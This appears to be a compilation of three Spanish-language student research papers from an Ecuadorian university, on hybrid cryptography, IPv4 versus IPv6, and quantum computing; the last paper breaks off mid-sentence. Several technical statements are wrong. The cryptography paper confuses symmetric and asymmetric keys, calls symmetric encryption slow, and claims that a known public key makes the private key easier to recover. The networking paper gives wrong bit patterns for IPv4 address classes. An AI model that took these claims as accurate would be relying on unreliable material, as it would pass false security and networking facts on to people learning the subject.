Este trabajo de investigación se basó en la seguridad informática que debemos tener con nuestra documentación utilizando la criptografía híbrida, haciendo énfasis sobre la seguridad de información que día a día hacemos uso en diferentes redes de comunicación, en particular el Internet, se han innovado herramientas para compartir información, incrementando así las amenazas y el riesgo de la información que se transmite. Por esta razón es necesario utilizar nuevos mecanismos de protección para mejorar la seguridad de los archivos. Se propone como objetivo enseñar a los estudiantes que la información puede estar más segura contra cualquier tipo de elemento no autorizado, utilizando la criptografía híbrida, los estudiantes tendrán más seguridad al momento de compartir información gracias a métodos que pueden ser utilizados, como la clave pública y privada, también logra cifrar un archivo de forma sincrónica. Se utilizaron métodos de investigación científica, tales como; inducción - deducción y análisis - síntesis, que favoreció al desarrollo de la capacidad de resolver los problemas de la seguridad de información que muy poco sabemos lo importante que es salvaguarda cualquier tipo de información. Se obtuvo como resultado que los estudiantes tendrán más seguridad al momento de compartir cualquier archivo para que no existan pérdidas de cualquier información valiosa que ellos manejan. En conclusión, la criptografía es una de las tecnologías de gran seguridad para los estudiantes que hacemos uso de diversa información valiosa u otras herramientas para salvaguardar documentos electrónicos.

Palabras clave: amenazas, innovado, seguridad.

Abstract

This research work was based on the computer security that we must have with our documentation using hybrid cryptography, emphasizing on the security of information that we use every day in different communication networks, in particular the Internet, we have innovated tools for share information, thus increasing the threats and the risk of the information that is transmitted. For this reason, it is necessary to use new protection mechanisms to improve the security of the files. It aims to teach students that information can be more secure against any type of unauthorized element, using hybrid cryptography, students will have more security when sharing information thanks to methods that can be used, such as public key and private, also manages to encrypt a file synchronously. Scientific research methods were used, such as; induction - deduction and analysis - synthesis, which favored the development of the ability to solve information security problems that we know very little about how important it is to safeguard any type of information. It was obtained as a result that students will have more security when sharing any file so that there is no loss of any valuable information that they handle. In conclusion, cryptography is one of the great security technologies for students who make use of various valuable information or other tools to safeguard electronic documents.

KEYWORDS: threats, innovated, security.

1. INTRODUCCIÓN

En el mundo de las comunicaciones secretas existen dos tipos de personajes. Por un lado, los usuarios que quienes desean salvaguardar el secreto de sus mensajes, ellos son los que usan la criptografía y por otro están los denominados enemigos que tratan de leer dichos mensajes y estos usan el criptoanálisis. La criptografía es una ciencia viva, ya que el momento en que se describe un nuevo método de cifrado, automáticamente surge la posibilidad de atacarlo (Gil, 1996).

(Montes, 2014) La criptografía ha jugado un papel fundamental en la sociedad de América, en situaciones como: Comunicaciones militares durante conflictos armados, Seguridad nacional, Operaciones bancarias, Transferencias de información, empresarial, Actividades gubernamentales, entre los principales escenarios donde la criptografía ha asegurado la Seguridad. Utilizar esta manera para guarda nuestra información también es elemental dentro de la criptografía sabemos que tenemos que buscar varias alternativas para sentirnos más seguro

y la firma digital es una de mejores herramienta que permite al usuario se usó de ella para que otras personas no puedan ser uso de las información de cada uno de ellos ya que de esta formas saber quién es el atacante que desea clasificar la firma porque permite ver que esa firma no es del propietario y va salir falsificada y así es una gran manera para salvaguarda nuestra archivos ya que existe personas que desea robarnos nuestra información o datos personales para cualquier tipo de mala y se va ir corrigiendo poco a poco esta inseguridad.

En Ecuador más lo utilizan quienes trabajan en el mundo empresarial, deben recibir instrucciones claras y definitivas que los ayuden a garantizar la seguridad de la información en el complejo mundo de los negocios. Cada vez encontramos más gerentes interesados en entender las reglas del negocio, entre ellas las referentes a las políticas de seguridad informática (Baster L, 2018).

La seguridad de información siempre tenemos que tener en cuenta es un punto muy importante para los estudiantes somos quienes día a día hacemos uso de diferentes informaciones, así como enviamos también la recibimos, pero nadie sabe que esa información que recibimos sea maliciosa para nosotros. A través de la criptografía existe herramienta como son lo cifrados privada y público. Esta clave solo dependía del usuario que se dominaba la clave pública como asimétrica la que los usuarios podían hacer uso de información no era un clave tan seguro para cada y uno de los usuarios al momento de querer tener más segura su información. En cambio, la clave privada o también se la denominaba como simétrica era una clave más segura que la pública, pero también tenía sus desventajas que era muy lenta, pero permitía tener la información más segura para los usuarios.

Para esta investigación se propone como objetivo enseñar a los estudiantes que la información puede estar más segura contra cualquier tipo de elemento no autorizado, utilizando la criptografía hibrida los estudiantes tendrá más seguridad al momento de compartir información ya que tiene método que son la clave pública y privada. El impacto que tuvo en los estudiantes fue satisfactorio porque así los estudiantes pueden hacer uso de la criptografía cuando quieran compartir información entre sus demás compañeros.

2. DESARROLLO

Criptografía

La criptografía “Fue la que más se utilizó ya que permite tener mas segura nuestra información en una institución o también en una empresa esto dependía del usuario al momento que queria hacer eso de seguridad informatica” (Suárez, 2016), como funciona era haciendo uso de diferentes tecnicas para esconder la información fue un método sobre las letras del mensaje oculto para así pasara sobre ellos esta técnica para poder encubrir dichos mensajes “Desde la edad antigua ya comenzaba hacer el proceso de ocultar sus informaciones porque existe época de guerra o de enemigos”. La herramienta criptofia ha sido una de las tecnicas mas usadas al momento de protege documentos y datos.

“La criptografía se utiliza desde la más remota antigüedad y desde los tiempos pretéritos se utilizaron ya ciertas señales que consistían en luminarias sobre determinadas alturas, agrupadas o esparcidas de un modo convenido” (DÍAZ, 2000).

Después se utilizaron antorchas encendidas o estandartes desde torres construidas al efecto, con los que se comunicaban haciéndolos aparecer y desaparecer. Para esto fue existió la criptografía que fuera cifrados y descifrados varios mensajes por eso es que no era tan segura la información. Funciona a través de la utilización de cifras o códigos para escribir algo secreto en documentos.

Criptanálisis

“El criptoanálisis (del griego kryptós, "escondido") es un fragmento fundamental de gran importancia para la criptografía es un sistema que se dedica a diversas maneras de estudio criptográficos de manera que se encuentra fallo o bajo rendimientos en los sistemas” (AMIEVA, 2015).

En ésta trata principalmente de crear y analizar criptosistemas seguros, la primera intenta romper esos sistemas, demostrando su vulnerabilidad.

Criptografía Asimétrica

” Asimétrica son sistema de información donde permite hacer uso de dos claves distinta” (F.MANUEL, 2011). Como son la clave privada que se guarda para no se cifrada, y por lo tanto la pública es donde cualquier usuario puede hacer uso de cualquier información que deseen. Los mensajes que se envían al intermediario siempre va usar la clave publica dándole una mejor oportunidad al usuario para cifrar o ver los mensajes y las informaciones que tiene cada

destinario. Una vez cuando ya se haya cifrado, sería más fácil de descifrar la clave privada que tiene el usuario porque ya sabemos cuál fue su clave publica que dio a conocer.

Criptografía Simétrica

La seguridad informática de la simétrica es una de la clave que permite al usurario hacer uso de cifrar y descifrar cualquier archivo. Existe un problema dentro de la seguridad y hace referencia cuando desea realizar cambio de clave que se debe comunicar con el emisor y el recepto, ambos de usar la misma clave para pasar la información con una mejor seguridad.

Hoy en día, las claves de 128 bits se utilizan para aumentar el "espectro" de las posibles claves (2 elevado a 128) de modo que incluso si todos los ordenadores tienen una existencia de esta clave en estos momentos. Su movimiento para la criptografía simétrica es el emisor el que envía un archivo al receptor. Estos conjuntos de métodos permiten tener comunicación segura entre las partes, siempre y cuando anteriormente se hayan intercambiado la clave correspondiente que llamaremos clave simétrica (F.MANUEL, 2011).

Clasificación De La Criptografía

Según Paredes informa que la criptografía esta clasificar en dos que son: La criptografía clásica, y la moderna. Paredes, dice que debe de entenderse que la criptografía no computarizada o también llamada no digitalizada. En que existía varios métodos que eran modificados, que algunos del método eran muy simple y existía otros que era súper que complicado de hacer el criptoanálisis. Dentro de la criptografía moderna se inició después de tres hechos que se considera: El primero fue la publicación de la "Teoría de la Información" finalmente Whitfield Diffie y Martin Hellman fue publicada 1976 con la aparición del estudio que fueron la aplicación de funciones matemáticas de un solo sentido a un modelo de cifrado. Además, las dos criptografías que son la clásica y la moderna se clasifican de acuerdo a las técnicas o métodos que se utilizan para cifrar los mensajes (Paredes, 2006). Los cifrados a menudo se usaban directamente para el cifrado o el descifrado sin procedimientos adicionales, como la autenticación o la verificación de integridad.

Criptografía Clásica

Las técnicas de criptografía fueron uno de los más destacados para enviar cualquier tipo de información y los mensajes secretos de una persona a otra que tenía un gran poder en la guerra para enviar saberes. Según la criptografía clásica es la que incluye la construcción de máquinas, que, por medio de mecanismos, comúnmente conocidos como rotores, se transforman en un mensaje claro en un mensaje cifrado, como la máquina (Paredes, 2006). En un principio no se conocía como criptografía, pero había métodos para ocultar la información que son los que han dado lugar al origen de la criptografía actual.

Criptografía Moderna

“La criptografía moderna es el sistema criptográfico que se mantuvo en secreto y era la que se la considera como una de las más valiosa” porque que se podía dividir en dos tipos de clave la asimétrica que era la clave privada es decir la secreta, la clave asimétrica era la clave pública (Paredes, 2006).

Criptografía Híbrida

Es el sistema que tiene una ventaja que es la unión de la clave asimétrica y simétrica, debemos de saber que existe un problema de ambos sistemas que uno funcionaba lento que ere el asimétrico y el inseguro era el simétrico. La criptografía híbrida es la que permite darle solución a los problemas que existe en la actualidad por no tener la información segura con este sistema tendremos una mejor seguridad en nuestras documentaciones porque podemos hacer uso tanto de la clave pública y privada es la mejor manera para que los usuarios decidan como salvaguardar son informaciones ya que es de gran importancia los documentos pueden ser de una empresa o instituciones o más bien datos personales de uno mismo (F.MANUEL, 2011)

Amieva dice que existe cifraremos con la clave pública del receptor la clave de sesión. El receptor era el que recibía los mensajes, que más bien podía ser en la clave de sesión o en la privada. PGP son protocolos como es el de SSH que usa cifrado asimétrico para transmitir las varias informaciones (AMIEVA, 2015).

Se utiliza el cifrado híbrido cuando se da uso del cifrado simétrico y asimétrico El uso de los cifrados funciona mediante automatización de la calve publica que accede a comunicar informaciones. Por ejemplo, el archivo que se está enviando en su periodo es cifrado con la

clave que fue destinado para cada uno del usuario, utilizando diferentes recursos como compartir información de la clave simétrica ya que es más seguro, hacer el uso de esta clave para transmitir del recepto al emisor de manera compleja.

3. MATERIALES Y MÉTODOS

Se utilizaron métodos de investigación científica predominando el método de inducción – deducción y análisis – síntesis, que contribuyeron a la capacidad de resolver los problemas en cuanto a la criptografía se refiere.

El método análisis – síntesis se realizó un diagnóstico general en los estudiantes sobre el tema referente a la criptografía donde, la cual sirve como herramienta de seguridad al momento de trabajar con documentos puesto de que maneja una clave privada o pública dependiendo del usuario.

El método de inducción – deducción nos sirvió para llegar a la realidad del problema que un gran porcentaje de los estudiantes no tienen el conocimiento que la criptografía permite la seguridad contra cualquier tipo de elemento porque no permite el acceso no autorizado, esto sea por falta de interés o por falta de investigación.

4. RESULTADOS Y DISCUSIÓN

Se describen a continuación algunos resultados de la investigación realizada. Cabe señalar que se obtuvieron buenos resultados de la entrevista, dirigida a los estudiantes de la Carrera Tecnologías de la Información en la Universidad Estatal del Sur de Manabí, se logró que los estudiantes obtengan conocimiento cuándo es necesario aplicar una clave pública o privada para poder tener nuestra información más segura de cualquier tipo de inconvenientes que se nos presente a futuro, en que la criptografía es la seguridad que debemos darle día a día a nuestras redes virtuales que utilizamos en nuestra vida diaria ya sea para el trabajo o para enviar un archivo donde tenemos que enviar y recibir informaciones que no sabemos si la información que recibimos es segura.

Se obtuvo que los estudiantes aprendieran a usar claves cuando vallan a compartir información, también se les enseñó que existen dos tipos de claves como son las claves privadas y públicas, donde ellos pueden utilizarla dependiendo el tipo de archivo que vallan a compartir entre sus compañeros.

Los estudiantes recalcaron que sería una herramienta fundamental y una mejor manera de prevenir pérdida de la información y salvaguardar nuestros documentos de gran importancia, aplicando los conceptos de criptografía como seguridad de información para nuestros archivos.

5. CONCLUSIONES

- La criptografía ha permitido a los usuarios tanto para instituciones educativa, empresa. Hayan podido mejora la seguridad de la información y poder brindarles una mejor protección a los diferentes documentos con mayor importancia, ya que esta tecnología es la que permite utilizar la clave pública y privada que orienta a los usuarios el uso conforme de este sistema que es elemental para guarda sus informaciones.
- Se determinó que el uso de la criptografía es una de las tecnologías que contribuye en los estudiantes, que día a día hacen uso de diversa información valiosa u otras herramientas para salvaguardar los documentos electrónicos, a través de esta disciplina podemos darle solución a los problemas relacionados con confidencialidad y la muchas amenazas que existen hoy en día.

6. RECOMENDACIONES

- Asegurar que la clave compartida no sea revelada a usuarios no autorizados porque puede ser un inconveniente
- No tener un gran número de claves, puede llegar a ser difícil de gestionar.
- Evitar un ataque de diccionario es cuando un usuario codifica palabras del diccionario y luego las compara con el mensaje codificado. Esto se hace hasta que el atacante encuentra una coincidencia y conoce la palabra que conforma la contraseña.

7. BIBLIOGRAFIA

AMIEVA, E. (15 de 12 de 2015). *Criptografía: simétrica, asimétrica e híbrida*. Obtenido de <https://enekoamieva.com/criptografia-simetrica-asimetrica-e-hibrida/>

Baster L, E.-O. (2018). La Criptografía como elemento de la seguridad informática. *Polo de Conocimiento* (pág. 221). Ecuador: 16.

DÍAZ, J. C. (2000). Sistemas criptográficos empleados. *Revista Complutense de Historia de América*, 58.

F.MANUEL. (29 de 05 de 2011). *Esteganografía, oculta mensajes dentro de un archivo*.
Obtenido de <https://www.genbeta.com/truco/esteganografia-oculta-mensajes-dentro-de-un-archivo>

Gil, P. C. (1996). Introduccion a la Criptografia . *ALGUNOS HITOS DE LA CRIPTOGRAFIA DEL SIGLO XX*, pág. 406.

MONTES, P. T. (s.f.). REVISION DE LA CRIPTOGRAFIA EN AMAERICA HISPANA Y PERU. 4.

Paredes, G. .. (2006). *Introducción a la criptografía*. . Revista Digital Universitaria.

Suárez, R. (15 de 06 de 2016). *Historia de la Criptografía*. Obtenido de
<http://blogs.acatlan.unam.mx/lasc/2016/06/15/historia-de-la-criptografia/>

BIOGRAFIA DEL AUTOR

Daisy Cristina Reyes Mejía, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Producción Agropecuaria, en la Unidad Educativa Fiscal “SUCRE” 24 de Mayo, Manabí, Ecuador.

María Fernanda Ayón Vélez, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Ciencias, en la Unidad Educativa Técnica Particular “Redemptio” Jipijapa, Manabí, Ecuador.

Vicente Ricardo Barahona Quiroz, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Mecánica Automotriz, en el Colegio Técnico Nacional “Manuel Inocencio Parrales Iguales”. Jipijapa, Manabí, Ecuador.

ANÁLISIS DE SEGURIDAD, PRIVACIDAD Y DIFERENCIAS ENTRE IPV4 E IPV6

Holguin Villamar Ángel Anibal

Yoza Tumbaco Cristhian Jacinto

Lcda. Kirenia Maldonado Zúñiga. Mg.

Ing. Franklin Jhimmy Toala Arias. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

aaholguin96@gmail.com

Crisneymar_yoza11@hotmail.com

Resumen

El objetivo de la investigación fue plantear el desarrollo de un análisis de seguridad, privacidad y las diferencias que implica el uso de los distintos protocolos como lo son IPv4 e IPV6, como enfoques secundarios se pretende especificar las respectivas falencias de seguridad en cada protocolo, explicar las diferentes características respectivamente y detallar una comparativa entre ambos protocolos, también se responderá a preguntas de importancia que pueden generarse entre los usuarios de estos protocolos, explicar los formatos a cada protocolo, decimal para IPv4 y hexadecimal para IPv6, infiriendo que en la actualidad las direcciones IPv4 están limitándose al llegar a su punto máximo de uso en cuando a nodos se refiere, mientras que su sucesor las IPv6 tendrá nodos en proporciones mucho mayores a las de su antecesor, IPv6 a diferencia de IPv4 pretende mejorar varios de los aspectos con los que IPv4 no contaba, como lo es la integración nativa de IPSec, herramientas de extensión de seguridad, mejora en los protocolos de privacidad para el usuario, evitando el rastreo progresivo. Se utilizaron métodos de la investigación científica tales como, del nivel teórico: análisis – síntesis, histórico – lógico, inducción – deducción, el nivel empírico: revisión bibliográfica. Los resultados demostraron las diferencias entre las principales características que predominan en los respectivos protocolos IPv4 e IPv6. Se logró especificar las respectivas falencias de seguridad en los respectivos protocolos tratados en la investigación IPv4 e IPv6.

PALABRAS CLAVE: decimal; hexadecimal; privacidad; protocolos IP; seguridad.

Abstract

The objective of the research was to propose the development of an analysis of security, privacy and the differences implied by the use of different protocols such as IPv4 and IPV6, as secondary approaches it is intended to specify the respective security flaws in each protocol, to explain explain the different characteristics respectively and detail a comparison between both protocols, will also answer important questions that can be generated among the users of these protocols, explain the formats to each protocol, decimal for IPv4 and hexadecimal for IPv6, inferring that currently the IPv4 addresses are limited to reach their maximum point of use when nodes are concerned, while their successor IPv6 will have nodes in proportions much greater than their predecessor, IPv6 unlike IPv4 aims to improve several aspects with the that IPv4 did not count, as is the native integration of IPSec, exte tools Security solution, improvement in the privacy protocols for the user, avoiding the progressive tracking. Scientific research methods were used such as, from the theoretical level: analysis - synthesis, historical - logical, induction - deduction, the empirical level: bibliographic review. The results showed the differences between the main characteristics that predominate in the respective IPv4 and IPv6 protocols. It was possible to specify the respective security flaws in the respective protocols treated in the IPv4 and IPv6 research.

KEYWORDS: decimal, hexadecimal, privacy, IP protocols, security.

INTRODUCCIÓN

Cada día la tecnología a nivel mundial avanza a pasos agigantados, la cantidad de dispositivos interconectados usando las grandes cantidades de puntos y todos definidos en un ciberespacio virtual interpretado a través de la infraestructura de bits diseñada por la simbiosis de interrelación entre máquina y lo humano; es así, que estas complejas comunicaciones de redes interconectadas en todo el hemisferio en tiempo real hacen que día a día sea escasa la existencia de los puntos interconectados al Internet o las llamadas direcciones IPv4 a pesar incluso de los intentos por mejorar la latencia de NAT8 e intentar prolongar su vida útil por tal volumétrico crecimiento, contando en la actualidad con aproximadamente 4.294.967.296 puntos o nodos IPv4, entre otros aspectos, por tal problemática de falta de direcciones, siendo este un indicador clave para el funcionamiento de la red, dio paso a la creación del protocolo IPv6 diseñado por Steve Deering y Craig Mudge y adoptado por la IETF(Internet Engineering Task Force) usando el estándar internacional de RFC (Request For Comments) con lo que se pretende administrar 340 sextillones o 340.282.366.920.938.463.463.374.607.431.768.211.456 direcciones ip con protocolo ipv6 con el fin de mejorar la calidad de vida de los usuarios, Por tal circunstancia, a través de este artículo se pretende realizar un análisis del actual y moderno protocolo de red ipv6 y su antecesor el protocolo de red ipv4.

DESARROLLO

Dirección IP

El principal protocolo que utiliza la arquitectura TCP/IP en el nivel de red es el protocolo IP (Internet Protocol). IP es un protocolo del nivel de red no orientado a conexión, basado en datagramas y no fiable.

Las direcciones IP tienen dos partes:

- **Red:** Especifica la red a la que pertenece la máquina que tiene asignada esta dirección IP.
- **Host:** Especifica la estación particular dentro de la red.

Normalmente, para diferenciar dentro de una dirección IP la parte de red de la parte de host, se utiliza una máscara. Una máscara es una secuencia de 32 bits (igual largo que la dirección IP),

indicando que cuando la máscara tiene un bit a uno en una posición determinada, ese bit en particular en la dirección IP pertenece a la parte de red, y cuando está a cero a la parte de host.

Por ejemplo, si la dirección IP 192.168.0.1 tuviera asignada una máscara de red de 255.255.0.0, la parte de red serían sus dos primeros bytes (16 bits) y su parte de host serían los últimos dos bytes (los 16 bits finales).

Ipv4

IP es un protocolo de conmutación de paquetes muy sencillo, de tipo datagrama, de forma que se pueda implementar en cualquier tipo de máquina. Existen actualmente dos versiones, IPv4 e IPv6. La que todos utilizamos actualmente es la versión 4.

Las direcciones IPv4 tienen una longitud de 32 bits (4 bytes). Normalmente se escriben dividiendo la dirección en cuatro partes: cada uno de los cuatro bytes que la componen. Se escriben las cuatro partes especificadas en notación decimal y separadas por puntos. Por ejemplo: **192.168.0.1**

Tipos de redes ipv4

Existen cinco clases de direcciones IP en la versión 4, de manera que cualquier dirección IP válida pertenece a una de estas clases. Si consideramos las direcciones en formato binario, podemos diferenciarlas de la siguiente manera:

- **Clase A:** son aquellas direcciones que comienzan por un 0. Es decir, son de la forma 0xxx xxxx . xxxx xxxx.
- **Clase B:** Son aquellas direcciones que comienzan por 1 y van seguidas de un 0. Es decir, son de la forma 10xx xxxx . xxxx xxxx. xxxx xxxx.
- **Clase C:** Son aquellas direcciones que comienzan por 1 y van seguidas de un 0. Es decir, son de la forma 110 xxxx . xxxx xxxx. xxxx xxxx.
- **Clase D:** Son aquellas direcciones que comienzan por tres 1 y van seguidas de un 0. Es decir, son de la forma 1110 xxxx . xxxx xxxx . xxxx xxxx. Estas direcciones se utilizan para multicast.

- **Clase E:** Son aquellas direcciones que comienzan por cuatro 1 y se van seguidas de un 0. Es decir son de la forma 1111 0xxx . xxxx xxxx . xxxx xxxx. Estas direcciones están reservadas para fines especiales.

Ipv6?

La versión 6 es la siguiente generación, el futuro de IP, y que ya está comenzando a implantarse en grandes sectores de Internet, aunque todavía queda por esperar hasta que la versión 4 desaparezca, dado que existen numerosos problemas (y algunos nada desdeñables) asociados a este cambio.

Con el objetivo de ampliar las posibilidades de Ipv4, se definen las siguientes categorías de direcciones:

- **Unidestino (unicast)**
Se refieren a un único nodo de la red, concreto.
- **Multidestino (multicast)**
Se refieren a un conjunto de nodos de la red, de manera que un paquete dirigido a una dirección multidestino debe ser entregado a todos los nodos del grupo.
- **A cualquier destino (anycast)**
De forma similar a las direcciones multicast, se refiere a un conjunto de nodos de la red, pero con una peculiaridad. Un paquete dirigido a una dirección anycast debe ser entregado solamente a uno de los nodos del grupo. Normalmente se seleccionará el nodo más cercano o más accesible desde el origen.

MATERIALES Y MÉTODOS

Se utilizaron métodos de la investigación científica tales como:

Del nivel teórico:

- **Análisis – síntesis:** se utilizó para determinar las tablas comparativas y de características entre los diferentes protocolos.
- **Histórico – lógico:** se usó en la construcción del proyecto con énfasis en el análisis de los protocolos y sus incidencias.

- **Inducción – deducción:** se empleó en toda la investigación, precisamente en las respuestas a las preguntas planteadas.

Del nivel Empírico:

- **Revisión bibliográfica:** Se utilizó en la fase de recopilación de la información del tema para la elaboración de la investigación, mediante libros, revistas de carácter científico, internet, entre otros.

RESULTADOS

Los resultados evidenciados en esta investigación fueron:

La comparación de las principales características que predominan en los respectivos protocolos IPv4 e IPv6, responden a las dudas que se pueden plantear muchos usuarios de estas tecnologías aplicadas a los protocolos. Se puso en evidencia el contenido de interés para muchos usuarios de nuevas tecnologías en cuanto a capas de red y protocolos dentro de las mismas.

CONCLUSIONES

Una vez realizada la investigación se llegó a las siguientes conclusiones.

Efectivamente se logró especificar las respectivas falencias de seguridad en los respectivos protocolos tratados en la investigación IPv4 e IPv6. En el contenido explicado se logró plantear de manera precisa las características de cada protocolo, detallando así una comparativa en cada uno de ellos. Finalmente se logró encontrar respuestas capaces de satisfacer la curiosidad o intriga de los usuarios de estas tecnologías como lo son los protocolos de red IPv4 e IPv6.

REFERENCIA BIBLIOGRAFICA

Aznar López, A. (2014). *La red Internet. El modelo TCP/IP*. Grupo Abantos.

Cañihua Florez, R. (2007). *Elaboración de una medida tecnológica que permita garantizar y proteger el. Chile.*

Castaño Ribes, R. J., & López Fernández, J. (2012). *Redes Locales*. Madrid: MACMILLAN.

Manuel, J. (30 de Abril de 2018). *Diferencias entre IPv4 e IPv6*. Obtenido de <https://pc-solucion.es/2018/04/30/diferencias-entre-ipv4-y-ipv6/>

Molina Robles, F. J. (2014). *REDES LOCALES*. Madrid: RA-MA.

Moreno Pérez, J. C., & González, M. S. (2014). *Sistemas informáticos y Redes locales*. Madrid: RA-MA.

Zapata Valdez, R. H. (2013). *Análisis de Seguridad en el Protocolo*. Buenos Aires, Argentina

BIOGRAFIA DEL AUTOR

Holguin Villamar Angel Anibal, estudiante de la Univercidad Estatal del Sur de Manabi, Bachiller en Ciencias en la Unidad Educativa Fiscal “Cesar Borja Lavayen” Guayas-Guayaquil-Ecuador.

Yoza Tumbaco Jacinto Cristhian, estudiante de la Univercidad Estatal del Sur de Manabi, Bachiller en Ciencias en la Unidad Educativa Fiscal”Alejo Lascano” Jipijapa-Manabi-Ecuador.

Kirenia Maldonado Zuñiga, Máster en Ciencias de la Educación, Licenciada en Educación Informática, Universidad de Ciencias Pedagógicas, Holguín Cuba.

Franklin Jhimmy Toala Arias, Magíster en Educación y Desarrollo Social, Ingeniero en Sistemas Computacionales, Universidad Técnica de Manabí, Docente de Matemáticas y Programación de la Universidad Estatal del Sur De Manabí.

EL ORDENADOR CUÁNTICO DENTRO DE UNA PLATAFORMA COMPUTACIONAL ESTABLE Y PROGRAMABLE

Karina Mercedes Velez Miraba

Jonny Jacobo Paillacho Calo

Lcda. Kirenia Maldonado Zúñiga. Mg.

Ing. Omar Antonio Quimis Sánchez. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

karinavelez33@outlook.com

jacobopaillacho@hotmail.com

Resumen

El propósito de la investigación es dar a conocer los aportes que brinda el ordenador cuántico. Y como fue evolucionando en los últimos años, la computación cuántica, pretende desencadenar una nueva concepción en la arquitectura de los ordenadores, para dar lugar al ordenador cuántico. A continuación, se presentan tanto las motivaciones para este cambio tecnológico, como los nuevos conceptos implicados y los primeros ordenadores cuánticos. En la computación cuántica es importante señalar que hay mucho más que decir sobre este tema que simplemente ceñirnos a una implementación particular de una máquina para hacer cálculos. El computador cuántico es una idea que crece a medida que se desarrolla la teoría cuántica de la información. De este modo cada una de estas entidades crece con ayuda de la otra. Se sabe que el computador cuántico encuentra enormes dificultades para ser construido en la práctica, hasta el punto que determinados autores opinan que es inviable, lo cierto es que a medida que se va afrontando los problemas que surgen a la hora de crearlo, aprenderemos más sobre cómo funcionan los sistemas cuánticos y cómo se comporta la información que de ellos somos capaces de obtener. Se utilizaron métodos de la investigación científica como: análisis – síntesis, histórico – lógico y revisión – bibliográfica. Los resultados demostraron la evolución que ha experimentado el campo del ordenador cuántico. Se concluyó con la resolución de tareas

clásicas (como la factorización de números) y nuevas aplicaciones como la simulación de sistemas cuánticos, y nuevos algoritmos.

PALABRAS CLAVE: algoritmo, bits, cuántica, iones.

Abstract

The purpose of the research is to publicize the contributions that the quantum computer provides. And as it was evolving in recent years, quantum computing, aims to trigger a new conception in the architecture of computers, to give rise to the quantum computer. Next, the motivations for this technological change are presented, as well as the new concepts involved and the first quantum computers. In quantum computing it is important to note that there is much more to be said on this topic than simply sticking to a particular implementation of a calculating machine. The quantum computer is an idea that grows as the quantum theory of information develops. In this way, each of these entities grows with the help of the other. It is known that the quantum computer finds enormous difficulties to be built in practice, to the point that certain authors think it is unfeasible, the truth is that as it is facing the problems that arise when creating it, we will learn more about how quantum systems work and how information that we are able to obtain behaves. Methods of scientific research were used as: analysis - synthesis, historical - logical and bibliographic -review. the results demonstrated the evolution of the quantum computer field. It was concluded with the resolution of classical tasks (such as the factorization of numbers) and new applications such as the simulation of quantum systems, and new algorithms.

Keywords: algorithm, bits, quantum, ions.

Introducción

Hacia el inicio de la década de los 60, Rolf Landauer comenzó a preguntarse si las leyes físicas imponían algunas limitaciones al proceso de cómputo. En concreto se interesó sobre el origen del calor disipado por los ordenadores y se preguntó si este calor era algo inherente a las leyes de la física o se debía a la falta de eficiencia de la tecnología disponible.

El tema es realmente interesante si se recuerda que uno de los problemas de los actuales ordenadores de alta velocidad es la eliminación del calor producido durante su funcionamiento. Por otra parte, a medida que evoluciona la tecnología aumenta la escala de integración y caben más transistores en el mismo espacio.

Cada vez se fabrican microchips más pequeños, cuanto más pequeño es el dispositivo, mayor velocidad de proceso se alcanza. Sin embargo, no podemos hacer los chips infinitamente pequeños. Hay un límite en el cual dejan de funcionar correctamente. Cuando se llega a la escala de nanómetros los electrones se escapan de los canales por donde deben circular por el llamado "efecto túnel", un fenómeno típicamente cuántico. Si una partícula clásica se encuentra con un obstáculo, lo normal es que no pueda atravesarlo y rebote. Pero los electrones son partículas cuánticas y presentan comportamiento ondulatorio, existe la posibilidad de que una parte de tales electrones pueda atravesar las paredes entre las que están confinados. De esta manera la señal puede pasar por canales donde no debería circular y el chip deja de funcionar correctamente.

Esos ordenadores cuánticos probablemente no serían más que una curiosidad científica, el entrelazamiento, que permite desarrollar dos algoritmos bastante relevantes: el temple cuántico en 1989 y el algoritmo de Shor en 1994. El primero permite encontrar valores mínimos de funciones, que así dicho no suena muy interesante pero tiene aplicaciones en inteligencia artificial y aprendizaje automático. Por ejemplo, si conseguimos codificar la tasa de error de una red neuronal como una función a la que podamos aplicar temple cuántico, ese valor mínimo nos dirá cómo configurar la red neuronal para que sea lo más eficiente posible.

El segundo algoritmo, el algoritmo de Shor, sirve para descomponer un número en sus factores primos de manera mucho más eficiente que lo que podamos lograr en un ordenador normal. Así dicho, de nuevo, no suena para nada interesante. Pero uno de los algoritmos más usados para proteger y cifrar datos en Internet, se basa en que factorizar números es exponencialmente lento (añadir un bit a la clave implica doblar el tiempo que se tarda en hacer un ataque por fuerza bruta). Un ordenador cuántico con suficientes qubits dejaría completamente obsoletos muchos sistemas de cifrado.

Hasta ahora, la computación cuántica es un campo que no se ha aplicado mucho en el mundo real. El campo tiene una evolución prometedora. En 1998 se presentó el primer ordenador

cuántico (sólo dos qubits, y necesitaba una máquina de resonancia magnética nuclear para resolver un problema "de juguete" (el llamado problema de Deutsch-Jozsa). En 2001 se ejecutó por primera vez el algoritmo de Shor. Sólo 6 años más tarde, en 2007, D-Wave presentaba su primer ordenador capaz de ejecutar el temple cuántico con 16 qubits. Este año, la misma compañía anunciaba un ordenador de temple cuántico de 2000 qubits. Por otra parte, los nuevos computadores de IBM, aunque con menos qubits, son capaces de implementar algoritmos genéricos y no sólo el del temple cuántico. En resumidas cuentas, parece que el empuje es fuerte y que la computación cuántica cada vez será más aplicable a problemas reales.

De momento, la computación cuántica se va a limitar a empresas grandes que puedan aplicarla a problemas complejos y costosos computacionalmente, un poco de forma similar a los inicios de la computación clásica. Probablemente cada vez habrá ordenadores cuánticos más potentes, llegando a lo que Google decía sobre la supremacía cuántica a partir de la cual los ordenadores cuánticos podría resolver problemas para los que ni el supercomputador más grande tiene suficientes recursos.

Materiales y métodos

Se utilizaron métodos de la investigación científica tales como:

- **Análisis – síntesis:** se utilizó para determinar los contenidos de la información.
- **Histórico – lógico:** se usó en la recopilación de la investigación con énfasis en la búsqueda de los antecedentes del ordenador cuántico.
- **Revisión -bibliográfica:** se empleó en toda la investigación, en particular en el análisis de las características del ordenador cuántico.

RESULTADOS

La evolución que ha experimentado el campo del ordenador cuántico en los últimos años, permite observar posibles ordenadores cuánticos, sus potencialidades en la resolución de tareas clásicas (como la factorización de números) y nuevas aplicaciones antes apenas sospechadas, como la simulación de la evolución de sistemas cuánticos y nuevos algoritmos que realicen

